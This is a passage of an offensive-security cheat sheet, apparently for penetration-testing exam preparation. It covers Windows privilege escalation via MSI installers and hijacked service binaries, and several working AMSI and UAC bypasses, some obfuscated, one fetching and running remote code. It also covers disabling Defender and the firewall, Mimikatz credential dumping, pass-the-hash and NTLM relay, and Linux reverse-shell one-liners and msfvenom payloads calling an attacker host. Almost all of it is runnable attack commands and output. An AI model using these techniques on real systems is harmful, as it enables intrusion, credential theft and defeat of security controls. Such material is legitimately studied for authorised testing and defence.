- Execute the MSI: as a low-privileged user, execute the MSI package using the Windows Installer
(
msiexec), and it will run with elevated privileges.
# If the payload is a reverse shell, it could maybe work by just executing the .msi, try it; otherwise just use below steps
./malicious.msi
# This will install and execute the malicious MSI with system-level permissions, allowing you to escalate your privileges.
msiexec /quiet /qn /i malicious.msi
# The /quiet and /qn flags ensure that the installation runs silently without user interaction
# The /i flag specifies that you're installing the MSI package.
Exploit - Meterpreter Built In Module
Steps
-
You need to already have a Meterpreter session for the victim
-
Load the module
msf6 exploit(multi/handler) > use exploit/windows/local/always_install_elevated
- Set the Options, it is important to change the default options or we will be flagged by the AV
msf6 exploit(windows/local/always_install_elevated) > set VERBOSE true
msf6 exploit(windows/local/always_install_elevated) > set payload windows/exec
msf6 exploit(windows/local/always_install_elevated) > set session [SESSION_ID]
- Encode and run your command
# Option 1 - We can first try with encoded Powershell command, here 'whoami > C:\whoami.txt'
msf6 exploit(windows/local/always_install_elevated) > set cmd 'powershell -enc dwBoAG8AYQBtAGkAIAA+ACAAQwA6AFwAdwBoAG8AYQBtAGkALgB0AHgAdAA='
msf6 exploit(windows/local/always_install_elevated) > run
[*] Uploading the MSI to C:\Users\user\AppData\Local\Temp\uDBjvv.msi ...
[*] Executing MSI...
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/always_install_elevated) > sessions 1
[*] Starting interaction with 1...
meterpreter > cat C:/whoami.txt
nt authority\system
# Option 2 - Run a Meterpreter reverse shell program
msf6 exploit(windows/local/always_install_elevated) > set cmd 'C:\met.exe'
msf6 exploit(windows/local/always_install_elevated) > run
[*] Uploading the MSI to C:\Users\user\AppData\Local\Temp\uBnecgivVWuR.msi ...
[*] Executing MSI...
[*] Sending stage (175174 bytes) to 192.168.X.Y
[*] Meterpreter session 2 opened (192.168.X.Y:443 -> 192.168.Z.Z:49798 ) at 2022-06-03 21:29:45 +0200
- (Optional) We can also try the following payload and see if it works
# Create the payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[ATTACKER_IP] LPORT=443 -e x64/xor_dynamic -i 3 -f msi -o met.msi
# Start an HTTP Server
# Execute it
msiexec /q /i http://[ATTACKER_IP]/met.msi
Service Binary Hijacking
Basic and Main Checks
Check Running Services
# Tip: Look for services with paths outside of `system32` or other unexpected locations.; try to find that thing that seems out of place.
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -eq 'Running'}
Review Permissions of a Service
icacls "C:\Path\To\ServiceBinary.exe"
Obtain Startup Type of a Service
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -eq '<ServiceName>'}
Creating an Executable That Adds a New Administrator User
#include <stdlib.h>
int main ()
{
system("net user emma Password123! /add");
system("net localgroup administrators emma /add");
return 0;
}
# Cross-Compile the C Code to a 64-bit Application
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
Creating an Executable that is a Reverse Shell
# For 64-bit executable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<Your_IP> LPORT=<Your_Port> -f exe -o reverse_shell.exe
# For 32-bit executable
msfvenom -p windows/shell_reverse_tcp LHOST=<Your_IP> LPORT=<Your_Port> -f exe -o reverse_shell.exe
Replacing the Service Binary with a Malicious Binary
It can be a reverse shell generated from msfvenom or for example the program above that will add a new
user to the system.
# Remember to run the HTTP server on your Kali to be able to bring the binary.
iwr -uri http://<attacker-ip>/adduser.exe -Outfile adduser.exe
move "C:\Path\To\ServiceBinary.exe" "C:\Path\To\Backup\ServiceBinary.exe"
move .\adduser.exe "C:\Path\To\ServiceBinary.exe"
Restart the Service
- Using PowerShell Function
Restart-Service -Name '<ServiceName>'
- Using
sc.exe
sc.exe stop <ServiceName>
sc.exe start <ServiceName>
Restart the System
# First check for reboot privileges: SeShutdownPrivilege should be Assigned and Enabled.
whoami /priv
# Perform the restart
shutdown /r /t 0
Additional Optional Checks
Automating the Process with PowerUp
- Start the HTTP server in our Kali with the script in the folder.
cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .
python3 -m http.server 80
- Bring the script and run it.
iwr -uri http://<attacker-ip>/PowerUp.ps1 -Outfile PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile
Install-ServiceBinary -Name '<ServiceName>'
- (Optional) Find files and check paths for which our current user can modify.
$ModifiableFiles = echo 'C:\Path\To\ServiceBinary.exe' | Get-ModifiablePath -Literal
Script to find Services with Weak Permissions
Get-CimInstance -ClassName win32_service | Select Name, PathName | ForEach-Object {
$path = $_.PathName -replace '"', ''
if (Test-Path $path) {
icacls $path
}
}
Inspect Service Dependencies Some services use configuration files that can be hijacked similarly to service binaries.
# List service dependencies
Get-CimInstance -ClassName win32_service | Select Name, PathName, DependentServices | Where-Object {$_.DependentServices -ne $null}
Check for Service Configuration File Hijacking Services often have dependencies that might also be vulnerable. Check dependencies to identify additional attack vectors.
# Some services use configuration files that can be hijacked similarly to service binaries. Example: Checking permissions on a configuration file
icacls "C:\Path\To\Service\ConfigFile.ini"
Service Binary Analysis Keep. in mind that some of the PWK machines were solved using reverse engineering to find hardcoded credentials or important strings; so perform static analysis of the service binary to understand its behavior and identify potential weaknesses or vulnerabilities.
-
Bring the binary to the Kali: If you are using some
impacket-toolyou can use their built-in function to bring the file; but if you are using a reverse shell use the steps from the Section 17.6 of this cheatsheet. -
Perform the analysis with multiple tools
strings [downloaded_binary]
flare-floss [downloaded_binary]
# Use dnSpy if you know that the binary was built using .NET.
# You could also use tools like PEiD, IDA Pro, or Ghidra to analyze the binary (this is not recommended because the exam is usually not that complex and you could be going into a rabbit hole).
Monitor Service Activity After replacing the service binary, monitor system activity to ensure that the new binary is executed correctly and to identify any issues.
Get-WinEvent -LogName System | Where-Object {$_.Message -like "*<ServiceName>*"}
Ensure Persistence For maintaining access, ensure that the changes are persistent across reboots and do not get overwritten by updates or system checks.
# Check for system update settings that might revert changes
Get-WindowsUpdateLog
Defense Evasion
Enumerate Defenses
- Get AppLocker State
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
- Get AMSI State
# CMD
reg query "HKLM\Software\Microsoft\AMSI"
# 0 = disabled
# 1 (or exist but is missing) = enabled
# PowerShell
'amsiutils'
# Alternative
Get-Process -Name powershell | ForEach-Object { $_.Modules | Where-Object { $_.ModuleName -eq "amsi.dll" } }
# If amsi.dll is loaded then AMSI is active
# If not AMSI is disabled or bypassed
- Check if Defender is Working
Get-MpComputerStatus | Select-Object AMRunningMode, AntivirusEnabled
Get-MpComputerStatus
- Get CLM State
$ExecutionContext.SessionState.LanguageMode
# FullLanguaje: allows all cmdlets and entire .NET Framework
# RestrictedLanguage allows default cmdlets but heavily restricts everything else
# NoLanguage: disables all script text
- Get PPL (Protected Processes Light) State
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"
Disable AppLocker & CLM
There are many different solutions so I will just make a list of possible tools that have worked for me:
# In case AppLocker is enabled, execute it from C:\Windows\Tasks or C:\Windows\Temp
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe .\FullBypass.csproj
# Compile and transfer it first
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\Windows\Tasks\bypass-clm.exe"
Disable AMSI
- AMSI bypass:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Light-Obfuscation Alternative
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Failed") {$f=$e}};$f.SetValue($null,$true)
# Another Light-Obfuscation Alternative
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
- Obfuscation Alternative
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
- Another bypass, which is not detected by PowerShell autologging
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)
- More bypasses here. For obfuscation, check Invoke-Obfuscation, or get a custom-generated obfuscated version at amsi.fail.
Disable Defender (if we have Admin Privs)
C:\Program Files\Windows Defender>.\MpCmdRun.exe -removedefinitions -all
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true
Disable PPL (Protected Processes Light) for Mimikatz
mimikatz.exe "privilege::debug" "!+" "!processprotect /process:lsass.exe /remove" "sekurlsa::logonpasswords"exit
UAC Bypass
Using CMSTP
# Download the code from GitHub and then invoke it directly in memory
iex(iwr http://[ATTACKER_IP]/cmstp.ps1 -useb)
# Execute it
Bypass-UAC -Command "curl http://[ATTACKER_IP]/worked"
Using FodHelper
# Download the code from GitHub and then execute in
iwr -uri http://[ATTACKER_IP]/improved-fodhelper.ps1 -outfile C:\\Windows\\Tasks\\improved-fodhelper.ps1
# Run it
./improved-fodhelper.ps1
Using EventViewer
# RCE through Unsafe .Net Deserialization in Windows Event Viewer which leads to UAC bypass.
# Upload it to the victim
Import-Module .\Invoke-EventViewer.ps1
Invoke-EventViewer
[-] Usage: Invoke-EventViewer commandhere
Example: Invoke-EventViewer cmd.exe
PS C:\Windows\Tasks> Invoke-EventViewer cmd.exe
[+] Running
[1] Crafting Payload
[2] Writing Payload
[+] EventViewer Folder exists
[3] Finally, invoking eventvwr
Using Manual Approach - ComputerDefaults
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "C:\Windows\System32\cmd.exe /c curl http://192.168.50.149/worked" -Force
Start-Process "C:\Windows\System32\ComputerDefaults.exe"
Heavily Obfuscated UAC Bypass
- Prepare the command to be executed
$ipAddress = (ip addr show tun0 | grep inet | head -n 1 | cut -d ' ' -f 6 | cut -d '/' -f 1)
$text = "(New-Object System.Net.WebClient).DownloadString('http://$ipAddress/run3.txt') | IEX"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
$EncodedText = [Convert]::ToBase64String($bytes)
$EncodedText
exit
- Encode your command
(New-Object System.Net.WebClient).DownloadString('http://[ATTACKER_IP]/run3.txt') | IEX
echo -en '(New-Object System.Net.WebClient).DownloadString("http://[ATTACKER_IP]/run3.txt") | IEX' | iconv -t UTF-16LE | base64 -w 0
- Insert the Base64 blob into the
codevariable like the below
# The result from the previous command
$code = "KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA3AC8AcgB1AG4AMwAuAHQAeAB0ACcAKQAgAHwAIABJAEUAWAA="
- Create the
Bypassfunction
function Bypass {
[CmdletBinding()]
param (
[Parameter (Position=0, Mandatory = $True)]
[string]$code )
(nEw-OBJECt Io.CoMpreSsion.DEflateSTrEaM( [SyStem.io.memoRYSTReaM][convErT]::fromBaSE64STriNg( 'hY49C8IwGIT/ykvoGjs4FheLqIgfUHTKEpprK+SLJFL99zYFwUmXm+6ee4rzcbti3o0IcYDWCzxBfKSB+Mldctg98c0TLa1fXsZIHLalonUKxKqAnqRSxHaH+ioa16VRBohaT01EsXCmF03mirOHFa0zRlrFqFRUTM9Udv8QJvKIlO62j6J+hBvCvGYZzfK+c2o68AhZvWqSDIk3GvDEIy1nvIJGwk9J9l3f22mSdv') ,[SysTEM.io.COMpResSion.coMPRESSIONMoDE]::DeCompress ) | ForeacH{nEw-OBJECt Io.StReaMrEaDer( $_,[SySTEM.teXT.enCOdING]::aSciI )}).rEaDTOEnd( ) | InVoKE-expREssION
}
- Execute the code
Bypass $code
Shutdown Firewall
# For Powershell
netsh advfirewall set allprofiles state off
# For RDP, do it manually
Enable RDP Pass-The-Hash
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force
Credentials
Mimikatz
Commands Without Credentials
| Purpose | Command Example |
|---|---|
| Privilege Escalation to SYSTEM | privilege::debug token::elevate |
| Dumping Password Hashes from SAM | lsadump::sam |
| Dumping Credentials from LSA Secrets | lsadump::secrets |
| Dumping Domain Cached Credentials (DCC) | lsadump::cache |
| Retrieve trust authentication information. | lsadump::trust |
| Dumping Kerberos Tickets | sekurlsa::tickets |
| Extracts Credentials from LSA | lsadump::lsa /inject |
| Dumping WDIGEST Credentials | sekurlsa::wdigest |
| Dumping Clear-Text Credentials | sekurlsa::logonpasswords |
| Dumping NTLM Hashes from LSASS Memory | sekurlsa::msv |
| Dumping Kerberos Keys | sekurlsa::kerberos |
| Dumping SSP Credentials | sekurlsa::ssp |
| Dumping TSPKG Credentials | sekurlsa::tspkg |
| Listing Available Privileges | privilege::list |
| Extracts Passwords from Windows Vault | vault::cred /patch |
| Dumping Security Account Manager (SAM) | lsadump::sam /system:<SYSTEM> /sam:<SAM> |
| Dumping Hashes from Active Directory | lsadump::dcsync /domain:<DOMAIN> /user:<USERNAME> (requires replication rights, not
direct credentials) |
Commands That Required Credentials
| Purpose | Command Example |
|---|---|
| Pass-the-Hash Attack (PTH) |
sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:<NTLM_HASH> /run:<COMMAND>
|
| Pass-the-Ticket Attack (PTT) | kerberos::ptt <ticket.kirbi> |
| Over-Pass-The-Hash / Pass-The-Key (Kerberos Ticket) |
sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /aes128:<AES128_HASH> /aes256:<AES256_HASH> /run:<COMMAND>
|
| Golden Ticket Creation |
kerberos::golden /user:<USERNAME> /domain:<DOMAIN> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /id:<RID> /ticket:<OUTPUT_TICKET>
|
| Silver Ticket Creation |
kerberos::golden /user:<USERNAME> /domain:<DOMAIN> /sid:<DOMAIN_SID> /target:<SERVICE/SERVER> /service:<SERVICE> /rc4:<NTLM_HASH> /id:<USER_RID> /ptt
|
| Dump Kerberos Tickets for Specific User | sekurlsa::tickets /export |
| Skeleton Key Injection | misc::skeleton (Injects a skeleton key, allowing login as any user using the password
mimikatz) |
| Kerberos Silver Ticket Creation (Advanced) |
kerberos::silver /user:<USERNAME> /domain:<DOMAIN> /target:<SERVER> /rc4:<NTLM_HASH> /service:<SERVICE> /sid:<DOMAIN_SID>
|
| Over-Pass-the-Hash (with RC4) |
sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /rc4:<NTLM_HASH> /run:<COMMAND>
|
| DPAPI Credential Decryption | dpapi::cred /in:<CREDENTIAL_FILE> |
| Extracting TGT from LSASS Memory | kerberos::tgt |
Command One-Liners
When using tools like Evil-WinRM or unstable reverse shells, running mimikatz can be
problematic. In such cases, Mimikatz one-liner commands offer an effective workaround. Here are
different approaches:
- (Recommended Option) Using Mimikatz One-Liners:
.\mimikatz.exe "privilege::debug" "[command]" "exit"
# Example for Dumping Passwords (using cmd.exe or PowerShell)
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit"
# Example for Passing the Hash
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:domain.local /rc4:HASH" "exit"
- Running Mimikatz with Command Redirection: ensures output is saved to a file for later retrieval if the shell disconnects.
mimikatz.exe "privilege::debug" "[command]" "exit" > C:\temp\mimikatz_output.txt
- Running Mimikatz via PowerShell Encoded Commands:
$command = "privilege::debug [command] exit"
$encodedCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
echo $encodedCommand
powershell -enc <encodedCommand>
- One-Liner with Remote Execution:
# Evil-WinRM (we need to connect and then execute it, not possible to send it within the same command)
evil-winrm -i [target_ip] -u [username] -p [password]
mimikatz.exe 'privilege::debug' '[command]' 'exit'
# PsExec
impacket-psexec DOMAIN/username:password@target_ip "C:\\Windows\\System32\\mimikatz.exe 'privilege::debug' 'sekurlsa::logonPasswords' 'exit'"
# VMIExec
impacket-vmiexec DOMAIN/username:password@target_ip "C:\\Windows\\System32\\mimikatz.exe 'privilege::debug' 'sekurlsa::logonPasswords' 'exit'"
# Web Download
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://[attacker_ip]/mimikatz.exe', 'C:\\temp\\mimikatz.exe')"
powershell -Command "C:\\temp\\mimikatz.exe 'privilege::debug' '[command]' 'exit'"
- Using Mimikatz with Minimal Output:
mimikatz.exe "privilege::debug" "[command]" "exit" > nul 2>&1
LSA Protection Bypass
Theory Since the release of Mimikatz in 2012, Microsoft introduced defenses like LSA Protection and Credential Guard to block credential dumping. Starting with Windows 8, processes can run as Protected Process Light (PPL), which prevents even SYSTEM-level processes from reading their memory if PPL is enabled.
For LSASS, this is controlled by the registry key:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1. When enabled, LSASS runs as PPL, and tools like
Mimikatz fail to access its memory. By default, this setting is disabledfor compatibility reasons,
but in hardened systems it may already be turned on.
Bypassing PPL
PPL is enforced at the kernel level (via the EPROCESS object).
With kernel code execution, LSA protection can be disabled to dump creds.
Mimikatz includes
mimidrv.sys, a signed driver that can be loaded (requires Admin/SYSTEM +
SeLoadDriverPrivilege) to bypass PPL and access LSASS memory.
Simple Extracting Credentials
# We must have SYSTEM or local administrator permissions
mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
Steps to Bypass LSA
- Check if LSA Protecting is enabled
# 0=disabled, 1=enabled
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
- Load the
mimidrv.sysdriver
mimikatz # !+
- Disable the PPL Protection for LSASS
mimikatz # !processprotect /process:lsass.exe /remove
Process : lsass.exe
PID 536 -> 00/00 [0-0-0]
- Extract the Credentials
mimikatz # sekurlsa::logonpasswords
MiniDump
-
Compile the MiniDump project, GitHub Reference, alternative you can use Task Manager if have a GUI to dump this file.
Create MiniDump -
Run the tool
MiniDump.exe
- Run Mimikatz
mimikatz.exe
# lsass.dmp is the dumped file from the previous step
mimikatz # sekurlsa::minidump lsass.dmp
- Extract the credentials
mimikatz # sekurlsa::logonpasswords
Kiwi Meterpreter Built In Module
Steps
- Load the module in a current Meterpreter session
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
- (Optional) Check the current available options
meterpreter > help
...
Kiwi Commands
=============
Command Description
------- -----------
creds_all Retrieve all credentials (parsed)
creds_kerberos Retrieve Kerberos creds (parsed)
creds_livessp Retrieve Live SSP creds
creds_msv Retrieve LM/NTLM creds (parsed)
creds_ssp Retrieve SSP creds
creds_tspkg Retrieve TsPkg creds (parsed)
creds_wdigest Retrieve WDigest creds (parsed)
dcsync Retrieve user account information via DCSync (unparsed)
dcsync_ntlm Retrieve user account NTLM hash, SID and RID via DCSync
golden_ticket_create Create a golden kerberos ticket
kerberos_ticket_list List all kerberos tickets (unparsed)
kerberos_ticket_purge Purge any in-use kerberos tickets
kerberos_ticket_use Use a kerberos ticket
kiwi_cmd Execute an arbitary mimikatz command (unparsed)
lsa_dump_sam Dump LSA SAM (unparsed)
lsa_dump_secrets Dump LSA secrets (unparsed)
password_change Change the password/hash of a user
wifi_list List wifi profiles/creds for the current user
wifi_list_shared List shared wifi profiles/creds (requires SYSTEM)
- Extract Credentials
meterpreter > creds_msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
Username Domain NTLM SHA1
-------- ------ ---- ----
luiza ITWK01 167cf9218719a1209efcfb4bce486a18 2f92bb5c2a2526a630122ea1b642c46193a0d837
....
Invoke-Mimikatz
Steps
-
Download the code from GitHub
-
Start an HTTP Server
python3 -m http.server 80
- Download it to the victim and load it directly in memory
iex(New-Object net.webclient).downloadstring('http://[ATTACKER_IP]/Invoke-Mimikatz.ps1')
Disable PPL
Invoke-Mimikatz -Command '"!processprotect /process:lsass.exe /remove"'
All-In-One Command
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "vault::cred /patch" "lsadump::sam" "sekurlsa::credman" "sekurlsa::ssp" "sekurlsa::wdigest" "sekurlsa::logonpasswords" "lsadump::secrets"'
Command by Command
# Get passwords of scheduled tasks.
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "vault::cred /patch"'
# Dump logged-on Accounts hashes.
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
# Local Accounts Credentials
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam"'
# Dump LSA secrets
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::secrets"'
# List Kerberos encryption keys
Invoke-Mimikatz -Command '"privilege::debug" sekurlsa::ekeys"'
# List Credentials Manager
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::credman"'
# Lists SSP credentials
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::ssp"'
# List WDigest credentials
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::wdigest"'
DCSync
# Sometimes DC need to be specified too with: /dc:[DOMAIN].com
Invoke-Mimikatz -Command '"lsadump::dcsync /user:NETBIOS\[USER]"'
Golden Ticket
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:[domain.com] /sid:[domainSID] /krbtgt:[KRBTGTHash] /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
Cracking Hashes
NTLM
Steps
- Set SeDebugPrivilege access (needed to use Mimikatz):
PS C:\tools> .\mimikatz.exe
mimikatz # privilege::debug
Privilege '20' OK
- Elevate to SYSTEM user privileges and dump credentials
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
mimikatz # lsadump::sam
Domain : <DOMAIN>
SysKey : <SysKey>
Local SID : <Local SID>
RID : <RID>
User : <USERNAME>
Hash NTLM: <NTLM_HASH>
- Crack the NTLM hash
# Rule is optional
hashcat -m 1000 <NTLM_HASH> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
- If uncrackable, consider Pass-The-Hash
# Pass-the-Hash using SMBClient
impacket-smbclient -hashes <LM_HASH>:<NTLM_HASH> <USERNAME>@<TARGET_IP>
Net-NTLMv2
Parameters:
<interface>: Network interface to listen on (e.g.,eth0,wlan0, etc.).<responder_ip>: IP address of the machine running Responder.<victim_ip>: IP address of the victim machine.<DOMAIN>: Domain of the user.<hash_file>: File containing the captured NTLMv2 hash.
Steps
- Start Responder: run the Responder tool to capture Net-NTLMv2 hashes. Ensure the victim requests a file that does not exist to generate the necessary traffic.
sudo responder -I <interface>
- Victim Request Example: the victim's request to the Responder server can be through various services. For instance, an HTTP request might look like this:
C:\Windows\system32> dir \\<responder_ip>\test
dir \\<responder_ip>\test
Access is denied.
- Capture Example Output: after the victim's request, you should see output similar to this:
[SMB] NTLMv2-SSP Client : ::ffff:<victim_ip>
[SMB] NTLMv2-SSP Username : <DOMAIN>\emma
[SMB] NTLMv2-SSP Hash : emma::<DOMAIN>:<NTLM_HASH>
- Crack the Hash: use Hashcat to crack the captured NTLMv2 hash. The hashcat mode for Net-NTLMv2 is
5600.
hashcat -m 5600 <hash_file> /usr/share/wordlists/rockyou.txt --force
hashcat (v6.2.5) starting
...
<DOMAIN>\emma::<NTLM_HASH>:123Password123
...
Pass-The-Hash
- Dump the SAM Database:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
...
mimikatz # lsadump::sam
RID : <RID>
User : <USERNAME>
Hash NTLM: <NTLM_HASH>
- Authenticate
# Using smbclient
impacket-psexec -hashes <LM_HASH>:<NTLM_HASH> <USERNAME>@<TARGET_IP>
# Using PsExec
impacket-psexec -hashes <LM_HASH>:<NTLM_HASH> <USERNAME>@<TARGET_IP>
# Using WMIExec
impacket-wmiexec -hashes <LM_HASH>:<NTLM_HASH> <USERNAME>@<TARGET_IP>
# Using xfreerdp
xfreerdp /v:<target_ip> /u:<USERNAME> /pth:<NTLM_HASH> /size:<resolution>
Relay Attacks
Steps
- Start Impacket
ntlmrelayx: use the Impacketntlmrelayxtool to capture NTLMv2 requests and relay them to a target. Replace<target_ip>with the IP address of the machine where you want to execute the command. The reverse shell command is optional.
impacket-ntlmrelayx --no-http-server -smb2support -t <target_ip> -c "powershell -enc <base64_encoded_powershell_command_to_be_executed_on_the_target_machine>"
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
- Expected Output After Victim Request: once the victim makes a request, you should see output like this indicating that the relay was successful and the command was executed on the target:
[*] SMBD-Thread-4: Received connection from <victim_ip>, attacking target smb://<target_ip>
[*] Authenticating against smb://<target_ip> as <domain>/<username> SUCCEED
[*] SMBD-Thread-6: Connection from <victim_ip> controlled, but there are no more targets left!
...
[*] Executed specified command on host: <target_ip>
- Setup Netcat Listener
# The port should match the port specified in the reverse shell command
nc -nvlp [port]
- Force Victim Request (Example) Trigger the victim machine to make a request to the Responder server, which can be done through various means such as Remote Code Execution (RCE) in a web application:
# <responder_ip>: IP address of the machine running the Responder server.
C:\Windows\system32> dir \\<responder_ip>\test
Linux
Initial Access
Meterpreter
Steps
- Craft your payload
# Alternatively, use msfvenom to create an ELF payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=[ATTACKER_IP] LPORT=[PORT] -f elf -o shell.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[ATTACKER_IP] LPORT=[PORT] -f elf -o shell.elf
# If the target machine allows Bash scripts to execute
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[ATTACKER_IP] LPORT=[PORT] -f bash -o payload.sh
# Useful if Python is available on the target
msfvenom -p python/meterpreter/reverse_tcp LHOST=[ATTACKER_IP] LPORT=[PORT] -f raw -o payload.py
- Start your listener
sudo msfconsole -q -x "use multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set lhost [ATTACKER_IP]; set lport [PORT]; exploit"
- Deliver it to the user, remember that if it is a
.elfit needs to be added the permission for execution and then execute
chmod +x ./shell.elf
./shell.elf
Reverse Shells
Listener
nc -nvlp [PORT]
Bash
nc -nvlp [PORT]
Normal Request
# Direct Bash reverse shell
/bin/bash -i >& /dev/tcp/<TARGET_IP>/<TARGET_PORT> 0>&1
# Add the reverse shell to an existing file
echo '/bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1' >> shell.sh
./shell.sh
One-Liners
# FIFO method with Netcat
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <TARGET_IP> <TARGET_PORT> >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <TARGET_IP> <TARGET_PORT> >/tmp/f
# Using 'sh' for reverse shell
sh -i >& /dev/tcp/<TARGET_IP>/<TARGET_PORT> 0>&1
# Downloading a script
curl http://[ATTACKER_IP]/s.sh | bash
Netcat
# Using -e
nc <TARGET_IP> <TARGET_PORT> -e /bin/sh
nc -nv <TARGET_IP> <TARGET_PORT> -e /bin/bash
# Without -e option
mkfifo /tmp/f; nc <TARGET_IP> <TARGET_PORT> < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/f
# Add the reverse shell to an existing file
echo 'nc [lhost] [lport] -e /bin/bash' >> [file]
Python
